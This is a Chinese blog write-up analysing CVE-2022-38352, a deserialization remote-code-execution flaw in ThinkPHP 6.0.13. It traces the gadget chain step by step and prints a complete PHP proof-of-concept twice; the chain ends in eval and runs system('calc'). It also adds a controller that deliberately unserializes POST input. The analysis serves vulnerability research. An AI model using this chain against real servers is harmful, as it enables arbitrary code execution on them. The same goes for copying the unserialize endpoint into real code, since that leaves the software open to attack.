Thinkphp v6.0.13反序列化(CVE-2022-38352)分析

Thinkphp v6.0.13反序列化rce漏洞(CVE-2022-38352)分析

一、漏洞介绍

Thinkphp 6.0.13版本存在反序列化漏洞,攻击者可以通过组件League\Flysystem\Cached\Storage\Psr6Cache包含反序列化漏洞

目前的Thinkphp6.1.0以上已经将filesystem移除了 因为此处存在好多条反序列化漏洞

二、漏洞影响版本

Thinkphp <= v6.0.13

三、漏洞环境

利用 composer安装Thinkphp6.0.13:

composer create-project topthink/think=6.0.13 tp6

注:tp6之后只能使用composer安装

这里即使指定了版本。composer默认下载的还是 稳定版本的thinkphp 最终打开是个6.1.3的版本 这个版本的依赖剔除了 League\Flysystem 这是反序列化漏洞的重要一环

因此 这里复现环境就下载了一个打包好的 6.0.8的版本的Thinkphp

四、漏洞分析

poc如下:

<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp; 
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system("calc"); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {
            
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(serialize($a));
}

观察可知,最终利用点是在 think\view\driver\Php.php 的 display方法

存在 eval('?>' . $this->content); 命令执行

由于这个框架向上挖麻烦一些,这里我们直接跟着poc 调试一下 看看这条链子调用过程

根据poc可知 反序列化链子入口点在:League\Flysystem\Cached\Storage\Psr6Cache

Psr6Cache类是没有__destruct()方法的

但是它继承了AbstractCache 其父类 的League\Flysystem\Cached\Storage\AbstractCache__destruct()方法:

$this->autosave可控,因此调用Psr6Cache类的save()方法

public function save(){
    $item = $this->pool->getItem($this->key);
    $item->set($this->getForStorage());
    $item->expiresAfter($this->expire);
    $this->pool->save($item);
}

当调用一个未定义或不可访问方法时, __call() 方法将被调用

$this->pool可控,这里可以通过其中$this->pool->getItem($this->key); 调用任意类的__call()方法

这里我们用到的是 think\log\Channel类的__call()方法:

Channel类不具有 getItem()方法,因此 给$this->pool 赋值 Channel类对象,可以出发其 __call()魔术方法

public function log($level, $message, array $context = []){
	$this->record($message, $level, $context);
}

public function __call($method, $parameters){
	$this->log($method, ...$parameters);
}

Channel::__call() 中调用了 log()方法,而log()又调用了 record()方法

我们跟进查看一下 Channel::record() 方法的代码实现

public function record($msg, string $type = 'info', array $context = [], bool $lazy = true){
	if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))){
        return $this;
    }

	if (is_string($msg) && !empty($context)) {
		$replace = [];
		foreach ($context as $key => $val) {
		$replace['{' . $key . '}'] = $val;
		}
    $msg = strtr($msg, $replace);
	}

	if (!empty($msg) || 0 === $msg) {
		$this->log[$type][] = $msg;
		if ($this->event) {
			$this->event->trigger(new LogRecord($type, $msg));
        }
    }

	if (!$this->lazy || !$lazy) {
		$this->save();
	}

	return $this;
}

参数都可控 前三个判断都可以过 这里要利用的是第四个if判断

$lazy默认是true不可控,但可以通过控制$this->lazy参数为 false 即可调用 Channel::save()方法:

继续跟进 查看一下 Channel::save()方法 的代码实现

public function save(): bool{
	$log = $this->log;
	if ($this->event) {
		$event = new LogWrite($this->name, $log);
		$this->event->trigger($event);
		$log = $event->log;
	}

if ($this->logger->save($log)) {
	$this->clear();
	return true;
}

	return false;
}

其中 $this->logger可控 因此我们可以调用任意类的save()方法

继续找可利用的,哪个类的save()方法可以利用呢?

我们找到了 think\log\driver\Socket 类的save()方法:

该方法存在 invoke()方法,类似于java里的反射,可以利用 调用任意类的任意方法

下面就想办法 怎么执行到此处

首先是要绕过第一个判断,if (!$this->check()),需要check()方法返回true,check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证

跟进check()方法看看:

这里控制

  • $this->clientArg['tabid'] = 1
  • $this->config['force_client_ids'] 为 1
  • $this->config['allow_client_ids'] 为空

即可使 Socket::check() 返回true

回到 Socket::check()

继续看第二个判断,需要满足

  • $this->config['debug'] = true 开启debug
  • $this->app->exists('request') 返回 true

即可控制 $currentUri 的值

第二个条件是重点,$this->app 应该为 think\App 类实例

我们跟进查看一下 exists()方法的代码实现:

think\App 不存在exists()方法 因此会继承其父类 think\Container 中的 exists()方法

传入的$abstract参数是request,调用getAlias()方法。这个方法作用为:根据别名获取真实类名,所以这个函数的返回的是think\Request。然后 return isset($this->instances[$abstract]);

因此 isset($this->instances[$abstract]) 需要为 true,即给$this->instances赋值为['think\Request'=>new Request()]

所以给$this->app赋值为think\APP类,$this->app->instances = ['think\Request'=>new Request()];

然后继续向下 进入if语句里:

if ($this->app->exists('request')) {
	$currentUri = $this->app->request->url(true);
}

执行 $this->app->request->url(true),调用 request 类的url()方法,形参$complete 为true

然后获取 request 实例对象的 url 属性的值(可控),赋值给$url 因为传入的$complete参数为true,所以会调用domain()方法,并将domain()方法返回结果 (http://) 和$url拼接起来 作为返回结果赋值 $currentUri

然后进入第三个if判断,给$this->config['format_head']赋值,即可执行Container类的invoke方法:

if (!empty($this->config['format_head'])) {
	try {
		$currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
	} catch (NotFoundExceptionInterface $notFoundException) {
		// Ignore exception
		}
}

跟进invoke()方法,执行第三个return语句

继续跟进 Container类的invokeMethod()方法

其中

  • $class和$method 是我们控制的$this->config['format_head']变量中的内容,
  • $vars是$currentUri变量中的内容,而$currentUri变量 是 前面提到的Request类的url()方法赋值的。该方法 return时 拼接时传入的$this->url部分是我们可控的 控制 $this->url的值为恶意代码即可

类、类的方法、传入的参数 这三个值我们都可控,因此可以调用 任意类的任意函数 执行自己想要的操作

因此、现在寻找一个可利用的类和方法即可

而我们前面提到了:

think\view\driver\Php.php 类的 display()方法 里 存在 eval()函数

eval()函数的参数为 '?>' 拼接 函数参数传入的$content的值

调用 Php->display("<?php 恶意代码;?>") 即可实现 rce

即:

  • Socket类:$this->config['format_head'] = [new \think\view\driver\Php,'display']
  • Request类:$this->url = '<?php system(\'calc\'); exit(); ?>';

最终编写 poc 如下:

<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system("calc"); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => [],
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(base64_encode(serialize($a)));
}

五、漏洞复现

本地 php_study_pro 开个ngnix环境

手动在 app/controller/Index.php 添加一个反序列化点

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index(){
        if($_POST["a"]){
            unserialize(base64_decode($_POST["a"]));
        }
        return "hello";
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}

把poc 生成的payload 打一下

成功弹出计算器

这个反序列化漏洞,主要点集中在在 Socket类 的变量控制、php的反射 以及 Php类中的display方法利用

参考:

https://github.com/top-think/framework/issues/2749

https://xz.aliyun.com/t/12169

posted @ 2023-08-27 01:08  1vxyz  阅读(1661)  评论(0编辑  收藏  举报